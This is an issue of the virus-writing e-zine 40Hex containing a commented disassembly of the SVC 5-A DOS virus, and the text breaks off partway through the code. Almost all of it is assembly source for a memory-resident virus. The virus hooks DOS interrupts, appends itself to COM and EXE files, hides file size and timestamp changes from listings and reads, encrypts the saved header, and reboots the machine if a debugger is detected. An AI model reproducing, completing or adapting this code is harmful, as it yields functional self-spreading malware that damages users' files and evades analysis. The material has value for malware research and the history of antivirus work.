40Hex Number 11 Volume 3 Issue 2

-------------------------------------------------------------------------------
                .model  tiny
                .code
; SVC 5-A
; Disassembly done by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m SVC5-A
                org     0

start:
                call    next
next:
                pop     si
                db      83h,0EEh,3              ; sub si,offset next
                mov     word ptr cs:[si+offset storeAX],ax
                push    es
                push    si
                xor     dx,dx
                mov     ah,84h                  ; installation check
                int     21h
                pop     si
                push    si
                cmp     dx,1990h
                jne     installvirus
                cmp     bh,byte ptr cs:[si+versionbyte]
                ja      go_exitvirus
                jc      installvirus
                push    si
                push    es
                xchg    ah,al                   ; convert ax to virus
                xor     ax,0FFFFh               ; CS
                mov     es,ax                   ; es->resident virus
                push    cs
                pop     ds
                xor     di,di
                mov     cx,begindata - start - 1; same version?
                cld
                repe    cmpsb
                pop     es
                pop     si
                jz      go_exitvirus            ; yes, exit
                jmp     reboot                  ; else reboot
go_exitvirus:
                jmp     exitvirus
installvirus:
                push    es
                xor     ax,ax
                mov     ds,ax
                les     ax,dword ptr ds:21h*4   ; save old int 21h
                mov     cs:[si+oldint21],ax     ; handler
                mov     word ptr cs:[si+oldint21+2],es
                les     ax,dword ptr ds:8*4     ; save old int 8 handler
                mov     cs:[si+oldint8],ax
                mov     word ptr cs:[si+oldint8+2],es
                pop     es
                mov     cs:[si+carrierPSP],es   ; save current PSP
                mov     ah,49h                  ; Release memory @ PSP
                int     21h
                jc      exitvirus               ; exit on error

                mov     ah,48h                  ; Find total memory size
                mov     bx,0FFFFh
                int     21h
                sub     bx,(viruslength+15)/16+1; shrink allocation for carrier
                jc      exitvirus

                mov     cx,es                   ; compute new memory
                stc                             ; block location
                adc     cx,bx
                mov     ah,4Ah                  ; Allocate memory for carrier
                int     21h

                mov     bx,(viruslength+15)/16
                stc
                sbb     es:[2],bx               ; fix high memory field in PSP
                mov     es,cx
                mov     ah,4Ah                  ; Allocate memory for virus
                int     21h

                mov     ax,es                   ; Go to virus MCB
                dec     ax
                mov     ds,ax
                mov     word ptr ds:[1],8       ; mark owner = DOS
                mov     ax,cs:[si+carrierPSP]   ; go back to carrier PSP
                dec     ax                      ; go to its MCB
                mov     ds,ax
                mov     byte ptr ds:[0],'Z'     ; mark it end of block
                push    cs
                pop     ds
                xor     di,di                   ; copy virus to high memory
                mov     cx,viruslength + 1
                cld
                rep     movsb
                xor     ax,ax
                mov     ds,ax
                cli                             ; and set up virus
                mov     word ptr ds:21h*4,offset int21
                mov     word ptr ds:21h*4+2,es  ; interrupt handlers
                mov     word ptr ds:8*4,offset int8
                mov     word ptr ds:8*4+2,es
exitvirus:
                sti
                push    cs
                pop     ds
                pop     si
                push    si
                mov     ah,byte ptr cs:[si+offset encryptval1]
                mov     dh,byte ptr cs:[si+offset encryptval2]
                add     si,offset savebuffer
                call    decrypt
                pop     si
                pop     es
                cld
                cmp     cs:[si+offset savebuffer],'ZM'
                je      returnEXE
                mov     di,100h
                push    cs
                pop     ds
                push    cs
                pop     es
                push    si
                add     si,offset savebuffer
                movsb
                movsw
                pop     si
                mov     ax,100h
                push    ax
                mov     ax,word ptr cs:[si+offset storeAX]
                retn
returnEXE:
                mov     bx,es
                add     bx,10h
                add     bx,cs:[si+savebuffer+16h]
                mov     word ptr cs:[si+jmpcs],bx
                mov     bx,cs:[si+savebuffer+14h]
                mov     word ptr cs:[si+jmpip],bx
                mov     bx,es
                mov     ds,bx
                add     bx,10h
                add     bx,cs:[si+savebuffer+0eh]
                cli
                mov     ss,bx
                mov     sp,cs:[si+savebuffer+10h]
                sti
                mov     ax,word ptr cs:[si+offset storeAX]
                db      0EAh                    ; jmp far ptr
jmpip           dw      0
jmpcs           dw      0

int21:
                pushf
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    es
                mov     word ptr cs:int21command,ax
                cmp     word ptr cs:int21command,4B03h ; load/no PSP
                je      _load_noexecute
                cmp     word ptr cs:int21command,4B01h ; load/no execute
                je      _load_noexecute
                cmp     word ptr cs:int21command,4B00h ; load/execute
                je      _load_execute
                cmp     ah,3Dh                  ; handle open
                je      _handleopen
                cmp     ah,3Eh                  ; handle close
                je      _handleclose
                cmp     ah,40h                  ; handle write
                je      _handlewrite
                cmp     ah,4Ch                  ; terminate
                je      _terminate
                jmp     short exitint21
                nop
_terminate:
                jmp     terminate
_handlewrite:
                jmp     handlewrite
_load_noexecute:
                jmp     load_noexecute
_handleclose:
                jmp     handleclose
_handlecreate:
                jmp     handlecreate
_load_execute:
                jmp     load_execute
_handleopen:
                jmp     handleopen
_FCBfindfirstnext:
                jmp     FCBfindfirstnext
_ASCIIfindfirstnext:
                jmp     ASCIIfindfirstnext
_handlegoEOF:
                jmp     handlegoEOF
_handleopen2:
                jmp     handleopen2
_handleread:
                jmp     handleread
_getsetfiletime:
                jmp     getsetfiletime

return:
                retn

load_execute_exit:
                call    restoreint24and23
                jmp     short exitint21
                nop

restoreint24and23:
                xor     ax,ax
                mov     ds,ax
                mov     ax,cs:oldint24
                mov     ds:24h*4,ax
                mov     ax,cs:oldint24+2
                mov     word ptr ds:24h*4+2,ax
                mov     ax,cs:oldint23
                mov     ds:23h*4,ax
                mov     ax,cs:oldint23+2
                mov     word ptr ds:23h*4+2,ax
                retn

exitint21:
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                cmp     ah,3Ch                  ; handlecreate
                je      _handlecreate
                cmp     ah,83h                  ; installation check for
                je      old_installation_check  ; other versions of SVC
                cmp     ah,84h                  ; installation check for
                je      installation_check      ; this version of SVC
                cmp     ah,4Eh                  ; find first?
                je      _ASCIIfindfirstnext
                cmp     ah,4Fh                  ; find next?
                je      _ASCIIfindfirstnext
                cmp     ah,11h                  ; find first
                je      _FCBfindfirstnext
                cmp     ah,12h                  ; find next
                je      _FCBfindfirstnext
                cmp     ax,4202h                ; go EOF
                je      _handlegoEOF
                cmp     ah,3Dh                  ; handle open
                je      _handleopen2
                cmp     ah,3Fh                  ; handle read
                je      _handleread
                cmp     ah,57h                  ; get/set file time
                je      _getsetfiletime
                popf                            ; chain to original int
                jmp     dword ptr cs:oldint21   ; 21h handler

callint21:
                cli
                pushf
                call    dword ptr cs:oldint21
                retn

installation_check:
                popf
                mov     bh,cs:versionbyte
                mov     ax,cs
                xor     ax,0FFFFh
                xchg    ah,al
common_installation_check_return:
                mov     dx,1990h
                iret

old_installation_check:
                popf
                jmp     short common_installation_check_return

popdsdx_return:
                pop     dx
                pop     ds
                jmp     return

load_execute:
                call    check_chkdsk
                call    infectdsdx
                jmp     load_execute_exit

infectdsdx:
                call    setint24and23
                jmp     short infectdsdx_continue
                nop

setint24and23:
                xor     ax,ax
                mov     es,ax
                les     ax,dword ptr es:24h*4
                mov     cs:oldint24,ax
                mov     cs:oldint24+2,es
                xor     ax,ax
                mov     es,ax
                les     ax,dword ptr es:23h*4
                mov     cs:oldint23,ax
                mov     cs:oldint23+2,es
                xor     ax,ax
                mov     es,ax
                mov     word ptr es:24h*4,offset int24
                mov     word ptr es:24h*4+2,cs
                mov     word ptr es:23h*4,offset int23
                mov     word ptr es:23h*4+2,cs
                retn

infectdsdx_continue:
                push    ds
                push    dx
                cmp     byte ptr cs:tickcount,3Ch ; don't infect too early
                jb      popdsdx_return          ; after previous one
                mov     ax,4300h                ; get file attributes
                call    callint21
                jc      popdsdx_return
                mov     cs:fileattr,cx
                and     cl,0FEh                 ; turn off r/o bit
                mov     ax,4301h                ; and reset file attributes
                call    callint21
                jc      popdsdx_return
                mov     cx,cs:fileattr
                and     cl,4                    ; test cl,4
                cmp     cl,4                    ; check system attribute
                je      infecthandle_exit       ; exit if set
                mov     ax,3D02h                ; open file read/write
                call    callint21
                jc      infecthandle_exit
                mov     bx,ax                   ; handle to bx
                push    dx                      ; save file name pointer
                mov     ax,5700h                ; get file time/date
                call    callint21
                pop     dx
                and     cx,1Eh                  ; check if seconds = 60
                cmp     cx,1Eh                  ; (infection marker)
                jne     infect_dsdx_checkmo     ; continue if not so marked
                jmp     short infecthandle_alreadyinfected
                nop
infect_dsdx_checkmo:
                call    check_command_com
                jnc     infecthandle
                jmp     short infecthandle_alreadyinfected
                nop

check_command_com:
                cld
                mov     si,dx
check_command_com_loop:
                lodsw
                cmp     ax,'MM'                 ; COMMAND.COM?
                je      check_command_com_yes
                cmp     ax,'mm'
                je      check_command_com_yes
                cmp     ax,'MB'                 ; IBMBIO/IBMDOS?
                je      check_command_com_yes
                cmp     ax,'mb'
                je      check_command_com_yes
                cmp     ah,0
                je      check_command_com_no
                dec     si
                jmp     short check_command_com_loop
check_command_com_yes:
                stc
                retn
check_command_com_no:
                clc
                retn

infecthandle_exit:
                jmp     popdsdx_return
infecthandle:
                cmp     bx,5                    ; check if handle too
                jb      infecthandle_exit       ; small (predefined)
                call    checkifinfected
                jnc     infecthandle_alreadyinfected
                call    infect_handle
infecthandle_alreadyinfected:
                mov     ah,3Eh                  ; Close file
                call    callint21
                pop     dx
                pop     ds
                jc      infecthandle_exit2
                mov     ax,4301h                ; restore file attributes
                mov     cx,cs:fileattr
                call    callint21
infecthandle_exit2:
                jmp     return

infect_handle_exit:
                jmp     infect_handle_error
infect_handle:
                mov     ax,5700h                ; get file time/date
                call    callint21
                mov     cs:filetime,cx
                mov     cs:filedate,dx
                xor     cx,cx
                xor     dx,dx
                mov     ax,4200h                ; go to start of file
                call    callint21
                push    cs
                pop     ds
                mov     cx,18h                  ; read header
                mov     dx,offset savebuffer
                mov     ah,3Fh
                call    callint21
                jc      infect_handle_exit
                push    cs
                pop     es
                push    cs
                pop     ds
                mov     si,offset savebuffer    ; copy to work buffer
                mov     di,offset workbuffer
                mov     cx,18h
                cld
                rep     movsb
                mov     ax,2C00h
                call    callint21
                mov     byte ptr cs:encryptval2,dh
                mov     byte ptr cs:encryptval1,dl
                mov     ah,dl
                mov     si,offset savebuffer
                call    decrypt
                cmp     cs:workbuffer,'ZM'      ; check if EXE
                je      infect_handle_EXE
                mov     cs:workbuffer,0E9h      ; encode the jmp
                xor     cx,cx
                xor     dx,dx
                mov     ax,4202h                ; get file size
                call    callint21
                cmp     dx,0
                jne     infect_handle_exit
                cmp     ax,viruslength
                jb      infect_handle_exit
                cmp     ax,0EDE1h               ; check if too large
                jae     infect_handle_exit
                sub     ax,3                    ; adjust size to jmp location
                mov     word ptr cs:workbuffer+1,ax
                call    writevirusandheader     ; write virus to file
                jmp     infect_handle_finish

writevirusandheader:
                push    cs
                pop     ds
                xor     dx,dx
                mov     cx,viruslength
                mov     ah,40h                  ; concatenate virus
                call    callint21
                jc      writevirusandheader_exit
                cmp     ax,viruslength
                jne     writevirusandheader_exit
                xor     cx,cx
                xor     dx,dx
                mov     ax,4200h                ; go to start of file
                call    callint21
                jc      writevirusandheader_exit
                mov     dx,offset workbuffer    ; write new header to file
                mov     ah,40h
                mov     cx,18h
                call    callint21
                retn
writevirusandheader_exit:
                stc
                retn

infect_handle_EXE:
                xor     cx,cx                   ; go to end of file
                xor     dx,dx
                mov     ax,4202h
                call    callint21
                push    dx                      ; save file size
                push    ax
                mov     si,ax
                xor     ax,ax
                xchg    ax,dx
                mov     di,1000h
                mul     di
                mov     dx,ax
                mov     ax,si
                mov     si,dx
                xor     dx,dx
                mov     di,10h                  ; convert to paragraphs
                div     di
                add     ax,si
                xchg    ax,dx
                sub     dx,cs:workbuffer+8      ; subtract header size
                mov     word ptr cs:workbuffer+16h,dx ; insert new initial
                mov     word ptr cs:workbuffer+14h,ax ; CS:IP (end of file)
                pop     ax
                pop     dx
                add     ax,viruslength          ; calculate new image
                adc     dx,0                    ; size mod 512 and div 512
                mov     di,200h
                div     di
                cmp     dx,0
                je      infect_handle_EXE_nofixup
                add     ax,1                    ; pagelength fixup
infect_handle_EXE_nofixup:
                mov     cs:workbuffer+4,ax
                mov     cs:workbuffer+2,dx
                mov     ds,word ptr cs:workbuffer+16h ; insert new SS:SP
                mov     word ptr cs:workbuffer+0Eh,ds
                mov     ax,word ptr cs:workbuffer+14h
                add     ax,17D7h
                mov     word ptr cs:workbuffer+10h,ax
                call    writevirusandheader     ; write virus to file
                jmp     short infect_handle_finish
                nop
infect_handle_error:
                stc
infect_handle_finish:
                mov     ax,5701h                ; restore file time/date
                mov     cx,cs:filetime
                mov     dx,cs:filedate
                jc      infect_handle_noreset
                and     cx,0FFFEh               ; but set seconds to
                or      cx,1Eh                  ; 60
                mov     byte ptr cs:tickcount,0 ; reset tickcount
infect_handle_noreset:
                call    callint21
                retn

int23:
                iret
int24:
                mov     al,3
                iret

load_noexecute_exit:
                jmp     load_noexecute_closeexit
load_noexecute:
                call    setint24and23
                push    ds
                push    dx
                mov     ax,4300h                ; get file attributes
                call    callint21
                jc      load_noexecute_exit
                mov     cs:fileattr,cx
                and     cl,0FEh                 ; turn off r/o bit
                mov     ax,4301h                ; reset attributes
                call    callint21
                jc      load_noexecute_exit
                mov     ax,3D02h                ; open file read/write
                call    callint21
                jc      load_noexecute_exit
                mov     bx,ax                   ; handle to bx
                call    checkifinfected
                jc      load_noexecute_exit
                jmp     short load_noexecute_disinfect
                nop
checkifinfected_exit:
                stc                             ; mark infected
                retn                            ; and exit

checkifinfected:
                mov     ax,5700h                ; get file time/date
                call    callint21
                mov     cs:filedate,dx
                mov     cs:filetime,cx
                and     cx,1Fh
                cmp     cx,1Eh
                jne     checkifinfected_exit
                xor     cx,cx
                xor     dx,dx
                mov     ax,4202h                ; go to end of file
                call    callint21
                jc      checkifinfected_exit
                mov     cs:filesizelo,ax        ; save filesize
                mov     cs:filesizehi,dx
                sub     ax,endvirus - infection_marker
                sbb     dx,0
                mov     cx,ax
                xchg    cx,dx
                mov     ax,4200h                ; rewind to infection
                call    callint21               ; marker
                jc      checkifinfected_exit
                push    cs
                pop     ds
                mov     ah,3Fh                  ; read file
                mov     cx,3
                mov     dx,offset savebuffer
                call    callint21
                jc      checkifinfected_exit
                push    cs
                pop     es
                mov     si,offset savebuffer    ; check for infection
                mov     di,offset infection_marker
                mov     cx,3                    ; marker
                repne   cmpsb
                jnz     checkifinfected_exit
                clc                             ; mark not infected
                retn                            ; and exit

load_noexecute_disinfect:
                call    disinfect
                jmp     load_noexecute_closeexit

disinfect_exit:
                jmp     disinfect_error
disinfect:
                mov     dx,cs:filesizelo
                mov     cx,cs:filesizehi
                sub     dx,75h                  ; go to savebuffer
                nop
                sbb     cx,0
                mov     ax,4200h
                call    callint21
                jc      disinfect_exit
                jmp     short disinfect_file
                nop

                jmp     load_noexecute_closeexit
disinfect_file:
                push    cs
                pop     ds
                mov     ah,3Fh                  ; Read carrier's
                mov     cx,18h                  ; original header
                mov     dx,offset savebuffer
                push    cs
                pop     ds
                call    callint21
                jc      disinfect_exit
                mov     dx,cs:filesizelo        ; go to decryption
                mov     cx,cs:filesizehi        ; values
                sub     dx,endvirus - encryptval1
                nop
                sbb     cx,0
                mov     ax,4200h
                call    callint21
                mov     dx,offset encryptval1
                mov     ah,3Fh                  ; read decryption values
                mov     cx,2
                call    callint21
                mov     si,offset savebuffer
                mov     ah,byte ptr cs:encryptval1
                mov     dh,byte ptr cs:encryptval2
                call    decrypt                 ; decrypt old header
                xor     cx,cx
                xor     dx,dx
                mov     ax,4200h
                call    callint21
                jc      disinfect_error
                mov     ah,40h                  ; Write old header to
                mov     cx,18h                  ; file
                mov     dx,offset savebuffer
                call    callint21
                jc      disinfect_error
                mov     dx,cs:filesizelo
                mov     cx,cs:filesizehi
                sub     dx,viruslength
                sbb     cx,0                    ; go to end of carrier
                mov     ax,4200h                ; file and
                call    callint21
                jc      disinfect_error
                mov     ah,40h                  ; truncate file
                xor     cx,cx                   ; at current position
                call    callint21
                jc      disinfect_error
                mov     ax,5701h                ; restore file time/date
                mov     dx,cs:filedate
                mov     cx,cs:filetime
                xor     cx,1Fh
                call    callint21
                retn
disinfect_error:
                stc                             ; mark error
                retn

load_noexecute_closeexit:
                mov     ah,3Eh                  ; Close file and
                call    callint21
                mov     ax,4301h                ; restore attributes
                mov     cx,offset fileattr      ; BUG!!!
                pop     dx
                pop     ds
                call    callint21
                call    restoreint24and23
                jmp     exitint21

FCBfindfirstnext:
                call    dword ptr cs:oldint21   ; prechain
                pushf
                pop     cs:returnFlags
                cmp     al,0FFh
                je      FCBfindfirstnext_exit
                cmp     cs:chkdskflag,0
                jne     FCBfindfirstnext_exit
                push    ax
                push    bx
                push    cx
                push    dx
                push    es
                push    ds
                mov     ah,2Fh                  ; Get DTA
                call    callint21
                cmp     word ptr es:[bx],0FFh   ; extended FCB?
                jne     FCBfindfirstnext_noextendedFCB
                add     bx,8                    ; convert if so
FCBfindfirstnext_noextendedFCB:
                mov     ax,es:[bx+16h]
                and     ax,1Fh                  ; check if seconds = 60
                cmp     ax,1Eh
                jne     FCBfindfirstnext_notinfected
                xor     word ptr es:[bx+16h],1Fh; fix seconds field
                sub     word ptr es:[bx+1Ch],viruslength
                sbb     word ptr es:[bx+1Eh],0  ; shrink size
FCBfindfirstnext_notinfected:
                pop     ds
                pop     es
                pop     dx
                pop     cx
                pop     bx
                pop     ax
FCBfindfirstnext_exit:
                pop     cs:storesIP
                pop     cs:storesCS
                popf
                push    cs:returnFlags
                push    cs:storesCS
                push    cs:storesIP
                iret

ASCIIfindfirstnext:
                call    dword ptr cs:oldint21   ; prechain
                pushf
                pop     cs:returnFlags
                jc      ASCIIfindfirstnext_exit
                cmp     cs:chkdskflag,0
                jne     ASCIIfindfirstnext_exit
                push    ax
                push    bx
                push    cx
                push    dx
                push    es
                push    ds
                mov     ah,2Fh                  ; Get DTA
                call    callint21
                mov     ax,es:[bx+16h]          ; get file time
                and     ax,1Fh                  ; to check if file
                cmp     ax,1Eh                  ; infected
                jne     ASCIIfindfirstnext_notinfected
                xor     word ptr es:[bx+16h],1Fh        ; hide time change
                sub     word ptr es:[bx+1Ah],viruslength; and file length
                sbb     word ptr es:[bx+1Ch],0          ; change
ASCIIfindfirstnext_notinfected:
                pop     ds
                pop     es
                pop     dx
                pop     cx
                pop     bx
                pop     ax
ASCIIfindfirstnext_exit:
                pop     cs:storesIP
                pop     cs:storesCS
                popf
                push    cs:returnFlags
                push    cs:storesCS
                push    cs:storesIP
                iret
handleopen:
                call    check_infectok
                jnc     handleopen_continue
                jmp     exitint21

check_infectok:
                cld
                mov     si,dx
                lodsw
                cmp     ah,':'
                jne     check_infectok_nodrive
                cmp     al,'a'                  ; make sure not floppy
                je      check_infectok_exit
                cmp     al,'A'
                je      check_infectok_exit
                cmp     al,'B'
                jb      check_infectok_exit     ; BUG
                cmp     al,'b'
                je      check_infectok_exit
                jmp     short check_extension
                nop
check_infectok_exit:
                jmp     short check_extension_notok
                nop
check_infectok_nodrive:
                mov     ah,19h                  ; get default drive
                call    callint21
                cmp     al,2                    ; make sure not floppy
                jae     check_extension
                jmp     short check_extension_notok
                db      90h

check_extension:
                cld
                mov     si,dx
check_extension_findextension:
                lodsb
                cmp     al,'.'
                je      check_extension_foundextension
                cmp     al,0
                jne     check_extension_findextension
                jmp     short check_extension_notok
                db      90h
check_extension_foundextension:
                lodsw
                cmp     ax,'OC'
                je      check_extension_checkcom
                cmp     ax,'oc'
                je      check_extension_checkcom
                cmp     ax,'XE'
                je      check_extension_checkexe
                cmp     ax,'xe'
                je      check_extension_checkexe
                jmp     short check_extension_notok
                db      90h
check_extension_checkcom:
                lodsb
                cmp     al,'M'
                je      check_extension_ok
                cmp     al,'m'
                je      check_extension_ok
                jmp     short check_extension_notok
                db      90h
check_extension_checkexe:
                lodsb
                cmp     al,'E'
                je      check_extension_ok
                cmp     al,'e'
                je      check_extension_ok
                jmp     short check_extension_notok
                db      90h
check_extension_ok:
                clc
                retn
check_extension_notok:
                stc
                retn

handleopen_continue:
                call    infectdsdx
                call    restoreint24and23
                jmp     exitint21
handlecreate:
                mov     word ptr cs:storess,ss  ; preserve ss and sp
                mov     word ptr cs:storesp,sp
                call    dword ptr cs:oldint21
                cli
                mov     ss,word ptr cs:storess
                mov     sp,word ptr cs:storesp
                sti
                pop     cs:returnFlags          ; save return flags
                pushf
                push    ax
                push    bx
                push    cx
                push    ds
                push    es
                push    si
                push    di
                jc      handlecreate_exit
                push    dx
                push    ax
                call    check_extension
                pop     ax
                pop     dx
                jc      handlecreate_exit
                push    ax
                call    check_command_com
                pop     ax
                jc      handlecreate_exit
                mov     cs:handletoinfect,ax    ; save handle to infect
                                                ; upon close
handlecreate_exit:
                pop     di
                pop     si
                pop     es
                pop     ds
                pop     cx
                pop     bx
                pop     ax
                jmp     exit_replaceflags
handleclose_exit:
                mov     cs:filehand,0
                jmp     exitint21

handleclose:
                cmp     bx,0
                jne     handleclose_continue
                jmp     exitint21
handleclose_continue:
                cmp     bx,cs:handletoinfect
                je      handleclose_infect
                cmp     bx,cs:filehand
                je      handleclose_exit
                jmp     exitint21
handleclose_infect:
                mov     ah,45h                  ; Duplicate file handle
                call    callint21
                jc      handleclose_infect_exit
                xchg    ax,bx
                call    setint24and23
                call    handleclose_infecthandle
                call    restoreint24and23
handleclose_infect_exit:
                mov     cs:handletoinfect,0
                jmp     exitint21

handleclose_infecthandle:
                push    ds
                push    dx
                jmp     infecthandle

int8:
                push    ax
                push    ds
                pushf
                cmp     byte ptr cs:tickcount,0FFh ; don't "flip" tickcount
                je      int8checkint1
                inc     cs:tickcount            ; one mo tick
int8checkint1:
                xor     ax,ax
                mov     ds,ax
                cmp     word ptr ds:1*4,offset int1 ; int 1 changed?
                jne     int8setint1                 ; fix it if so
                mov     ax,cs
                cmp     word ptr ds:1*4+2,ax
                jne     int8setint1
int8checkint3:
                cmp     word ptr ds:3*4,offset int3 ; int 3 changed?
                jne     int8setint3                 ; fix it if so
                mov     ax,cs
                cmp     word ptr ds:3*4+2,ax
                jne     int8setint3
exitint8:
                popf
                pop     ds
                pop     ax
                jmp     dword ptr cs:oldint8

int8setint1:
                push    es
                les     ax,dword ptr ds:1*4
                mov     cs:oldint1,ax
                mov     word ptr cs:oldint1+2,es
                mov     word ptr ds:1*4,offset int1
                mov     word ptr ds:1*4+2,cs
                pop     es
                jmp     short int8checkint3
int8setint3:
                push    es
                les     ax,dword ptr ds:3*4
                mov     cs:oldint3,ax
                mov     word ptr cs:oldint3+2,es
                mov     word ptr ds:3*4,offset int3
                mov     word ptr ds:3*4+2,cs
                pop     es
                jmp     short exitint8

int3:                                           ; reboot if debugger
                push    bp                      ; is active
                push    ax
                mov     bp,sp
                add     bp,6
                mov     bp,[bp]
                mov     ax,cs
                cmp     bp,ax
                pop     ax
                pop     bp
                jz      reboot
                jmp     dword ptr cs:oldint3

exitint1:
                iret

int1:
                push    bp                      ; this routine doesn't
                push    ax                      ; do very much that's
                mov     bp,sp                   ; meaningful
                add     bp,6
                mov     bp,[bp]
                mov     ax,cs
                cmp     bp,ax
                pop     ax
                pop     bp
                jz      exitint1
                jmp     dword ptr cs:oldint1
reboot:
                db      0EAh                    ; jmp F000:FFF0
                db      0F0h, 0FFh, 0, 0F0h     ; (reboot)

decrypt:
                push    bx
                push    es
                call    decrypt_next
decrypt_next:
                pop     bx
                mov     byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah
                nop
                mov     byte ptr cs:[bx+19h],2   ; add dh,ah -> add ah,dh
                nop
                push    ds
                pop     es
                mov     di,si
                mov     cx,18h
                cld
decrypt_loop:
                lodsb
                db      0FFh, 0C4h              ; inc sp
                stosb
                db      0, 0E6h                 ; add dh,ah
                loop    decrypt_loop

                mov     byte ptr cs:[bx+16h],0FFh ; change back to inc sp
                mov     byte ptr cs:[bx+19h],0    ; and add dh,ah -- why?
                pop     es
                pop     bx
                retn

handlegoEOF:
                popf
                cmp     cs:filehand,bx          ; currently working on this?
                jne     handlegoEOFexit
                mov     cs:tempstoreDX,dx       ; save offset from EOF
                mov     cs:tempstoreCX,cx
                xor     cx,cx
                xor     dx,dx
                call    callint21               ; go to EOF
                sub     ax,viruslength          ; shrink to carrier size
                sbb     dx,0
                mov     cx,ax
                xchg    cx,dx
                add     dx,cs:tempstoreDX       ; add offset from carrier
                adc     cx,cs:tempstoreCX       ; EOF
                mov     ax,4200h                ; and do it
handlegoEOFexit:
                jmp     dword ptr cs:oldint21

handleopen2:
                call    dword ptr cs:oldint21
                pushf
                push    ax
                push    bx
                push    cx
                push    dx
                push    di
                push    si
                push    ds
                push    es
                jc      handleopen2_exit
                cmp     cs:filehand,0
                jne     handleopen2_exit
                push    ax
                mov     bx,ax
                call    checkifinfected
                pop     ax
                jc      handleopen2_alreadyinfected
                mov     cs:filehand,ax          ; save file handle for
                mov     bx,ax                   ; later use
                mov     ax,4202h                ; go to end of file
                xor     cx,cx                   ; to find file size
                xor     dx,dx
                call    callint21
                sub     ax,viruslength          ; calculate carrier
                sbb     dx,0                    ; size and store it
                mov     cs:carrierEOFhi,dx
                mov     cs:carrierEOFlo,ax
handleopen2_alreadyinfected:
                xor     cx,cx                   ; go to start of file
                xor     dx,dx
                mov     ax,4200h
                call    callint21
handleopen2_exit:
                pop     es
                pop     ds
                pop     si
                pop     di
                pop     dx
                pop     cx
                pop     bx
                pop     ax
exit_replaceflags:
                popf
                pop     cs:storesIP
                pop     cs:storesCS
                pop     cs:returnFlags
                pushf
                push    cs:storesCS
                push    cs:storesIP
                iret
handleread_exit:
                jmp     handleread__exit

handleread:
                call    dword ptr cs:oldint21   ; prechain
                pushf
                push    ax
                push    cx
                push    dx
                push    ds
                push    di
                push    si
                push    es
                jc      handleread_exit         ; exit on error
                cmp     cs:filehand,0
                je      handleread_exit
                cmp     cs:filehand,bx
                jne     handleread_exit
                mov     cs:bufferoff,dx
                mov     cs:bufferseg,ds
                mov     cs:bytesread,ax
                xor     cx,cx                   ; get current file position
                xor     dx,dx
                mov     ax,4201h
                call    callint21
                jc      handleread_exit
                sub     ax,cs:bytesread         ; find pre-read location
                sbb     dx,0                    ; to see if need to
                mov     cs:origposhi,dx         ; redirect it
                mov     cs:origposlo,ax
                mov     ax,4202h                ; go to end of file
                xor     cx,cx
                xor     dx,dx
                call    callint21
                sub     ax,viruslength
                sbb     dx,0
                mov     cs:carrierEOFlo,ax
                mov     cs:carrierEOFhi,dx
                cmp     cs:origposhi,0          ; check if read was
                jne     handleread_notinheader  ; from the header
                cmp     cs:origposlo,18h
                jb      handleread_inheader
handleread_notinheader:
                mov     cx,cs:origposhi         ; check if read extended
                mov     dx,cs:origposlo         ; into the virus
                add     dx,cs:bytesread
                adc     cx,0
                cmp     cx,cs:carrierEOFhi
                jb      handleread_notinvirus
                ja      handleread_invirus
                cmp     dx,cs:carrierEOFlo
                ja      handleread_invirus
handleread_notinvirus:
                mov     cx,cs:origposhi         ; return to proper file
                mov     dx,cs:origposlo         ; position
                add     dx,cs:bytesread
                adc     cx,0
                mov     ax,4200h
                call    callint21
handleread__exit:
                pop     es
                pop     si
                pop     di
                pop     ds
                pop     dx
                pop     cx
                pop     ax
                jmp     exit_replaceflags
handleread_invirus:
                jmp     handleread__invirus
handleread_inheader:
                cmp     cs:bytesread,0
                je      handleread_notinheader
                mov     cx,cs:carrierEOFhi
                mov     dx,cs:carrierEOFlo
                add     dx,offset savebuffer
                adc     cx,0
                mov     ax,4200h
                call    callint21
                jc      handleread_notinheader
                push    ds
                pop     es
                push    cs
                pop     ds
                mov     dx,offset savebuffer
                mov     ah,3Fh                  ; Read header
                mov     cx,18h
                call    callint21
                jc      handleread_notinheader
                cmp     ax,18h
                jne     handleread_notinheader
                mov     cx,cs:carrierEOFhi      ; go to decryption values
                mov     dx,cs:carrierEOFlo
                add     dx,offset encryptval1
                adc     cx,0
                mov     ax,4200h
                call    callint21
                mov     ah,3Fh                  ; read decryption values
                mov     cx,2
                mov     dx,offset encryptval1
                call    callint21
                jc      handleread_inheader_error
                mov     si,offset savebuffer
                mov     ah,byte ptr cs:encryptval1
                mov     dh,byte ptr cs:encryptval2
                call    decrypt
                mov     cx,cs:origposlo
                neg     cx
                add     cx,18h
                cmp     cx,cs:bytesread
                jb      handleread_inheader_noadjust
                mov     cx,cs:bytesread
handleread_inheader_noadjust:
                mov     si,offset savebuffer    ; copy previously read
                add     si,cs:origposlo         ; stuff if necessary
                mov     di,cs:bufferoff
                mov     es,cs:bufferseg
                cld
                cmp     cx,0
                je      handleread_inheader_nomove
                rep     movsb
handleread_inheader_nomove:
                jmp     handleread_notinheader
handleread_inheader_error:
                jmp     handleread_notinheader
handleread__invirus:
                mov     cx,cs:origposhi
                cmp     cx,cs:carrierEOFhi
                ja      handleread__invirus_gocarrierEOF
                jc      handleread__invirus_readpart
                mov     cx,cs:origposlo
                cmp     cx,cs:carrierEOFlo
                jb      handleread__invirus_readpart
handleread__invirus_gocarrierEOF:
                mov     cx,cs:origposhi
                mov     dx,cs:origposlo
                mov     ax,4200h
                call    callint21
                xor     ax,ax
handleread__invirus_exit:
                pop     es
                pop     si
                pop     di
                pop     ds
                pop     dx
                pop     cx
                pop     cs:returnFlags
                jmp     exit_replaceflags
handleread__invirus_readpart:
                mov     cx,cs:carrierEOFhi      ; read portion of
                mov     dx,cs:carrierEOFlo      ; file up to virus
                mov     ax,4200h
                call    callint21
                sub     ax,cs:origposlo
                jmp     short handleread__invirus_exit
handlewrite:
                cmp     bx,0
                je      handlewrite_exit
                cmp     bx,cs:filehand
                jne     handlewrite_exit
                mov     ax,4201h                ; get current position
                xor     cx,cx                   ; in the file
                xor     dx,dx
                call    callint21
                jc      handlewrite_exit
                mov     cs:curposlo,ax
                mov     cs:curposhi,dx
                mov     ax,4202h                ; go to end of file
                xor     cx,cx                   ; to find the filesize
                xor     dx,dx
                call    callint21
                mov     cs:filesizelo,ax
                mov     cs:filesizehi,dx
                call    disinfect               ; disinfect the file
                jc      handlewrite_done
